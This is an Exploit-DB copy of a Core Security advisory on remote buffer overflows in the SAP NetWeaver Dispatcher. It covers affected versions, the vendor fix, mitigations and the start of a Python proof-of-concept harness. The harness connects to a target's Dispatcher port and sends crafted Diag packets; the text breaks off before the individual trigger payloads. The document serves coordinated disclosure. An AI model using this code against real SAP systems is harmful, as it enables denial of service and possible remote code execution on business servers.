Exploit-DB #18853
Description: SAP NetWeaver Dispatcher - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2012-05-09
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

SAP Netweaver Dispatcher Multiple Vulnerabilities


1. *Advisory Information*

Title: SAP Netweaver Dispatcher Multiple Vulnerabilities
Advisory ID: CORE-2012-0123
Advisory URL:
http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities
Date published: 2012-05-08
Date of last update: 2012-05-08
Vendors contacted: SAP
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1516, CVE-2011-1517, CVE-2012-2511, CVE-2012-2512,
CVE-2012-2513, CVE-2012-2514


3. *Vulnerability Description*

SAP Netweaver [1] is a technology platform for building and integrating
SAP business applications. Multiple vulnerabilities have been found in
SAP Netweaver that could allow an unauthenticated, remote attacker to
execute arbitrary code and lead to denial of service conditions. The
vulnerabilities are triggered sending specially crafted SAP Diag packets
to remote TCP port 32NN (being NN the SAP system number) of a host
running the "Dispatcher" service, part of SAP Netweaver Application
Server ABAP. By sending different messages, the different
vulnerabilities can be triggered.


4. *Vulnerable packages*

   . SAP Netweaver 7.0 EHP1 (disp+work.exe version v7010.29.15.58313).
   . SAP Netweaver 7.0 EHP2 (disp+work.exe version v7200.70.18.23869).
   . Older versions are probably affected too, but they were not checked.


5. *Non-vulnerable packages*

   . Vendor did not provide this information.


6. *Vendor Information, Solutions and Workarounds*

SAP released the security note
https://service.sap.com/sap/support/notes/1687910 regarding these
issues. Contact SAP for further information.

Martin Gallo proposed the following actions to mitigate the impact of
the vulnerabilities:

   1. Disable work processes' Developer Traces for the 'Dialog
Processing' component (for the vulnerabilities [CVE-2011-1516],
[CVE-2011-1517], [CVE-2012-2511] and [CVE-2012-2512]).
   2. Restrict access to the Dispatcher service's TCP ports (3200/3299)
(for all vulnerabilities).
   3. Restrict access to the work process management transactions
SM04/SM50/SM66 and profile maintenance RZ10/RZ20 (for the
vulnerabilities [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511] and
[CVE-2012-2512]).


7. *Credits*

These vulnerabilities were discovered and researched by Martin Gallo
from
http://www.coresecurity.com/content/services-overview-core-security-consulting-services.
The publication of this advisory was coordinated by Fernando Miranda
from http://www.coresecurity.com/content/corelabs-advisories .


8. *Technical Description / Proof of Concept Code*

*NOTE:* (The tracing of 'Dialog processing' has to be in level 2 or 3 in
order to exploit flaws [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511]
and [CVE-2012-2512]).

The following python script can be used to reproduce the vulnerabilities
described below:

/-----
import socket, struct
from optparse import OptionParser

# Parse the target options
parser = OptionParser()
parser.add_option("-l", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3200)
(options, args) = parser.parse_args()

def send_packet(sock, packet):
    packet = struct.pack("!I", len(packet)) + packet
    sock.send(packet)

def receive(sock):
    length = sock.recv(4)
    (length, ) = struct.unpack("!I", length)
    data = ""
    while len(data)<length:
        data+= sock.recv(length)
    return (length, data)

def initialize(sock):
    diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
    user_connect =
"\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
    support_data = "\x10\x04\x0b\x00\x20"
    support_data+=
"\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
    support_data+=
"\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    dpheader =
"\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    dpheader+= struct.pack("I", len(diagheader + user_connect +
support_data))
    dpheader+=
"\x00\xff\xff\xff\xff\xff\xff                                        "
    dpheader+= "terminalXXXXXXX"
    dpheader+=
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00                   
\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    send_packet(sock, dpheader + diagheader + user_connect + support_data)

def send_message(sock, message):
    diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
    step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
    eom = "\x0c"
    send_packet(sock, diagheader + step + message + eom)

# Connect and send initialization packet
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((options.hostname, options.port))
initialize(connection)
receive(connection)      

-----/
 In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.


8.1. *SAP Netweaver DiagTraceR3Info Vulnerability*

[CVE-2011-1516] The vulnerability can be triggered when SAP Netweaver
'disp+work.exe' module process a specially crafted network packet.
Malicious packets are processed by the vulnerable function
'DiagTraceR3Info' in the 'disp+work.exe' module when the Developer Trace
is configured at levels 2 or 3 for the "Dialog processor" component of
the "Dialog" work process ha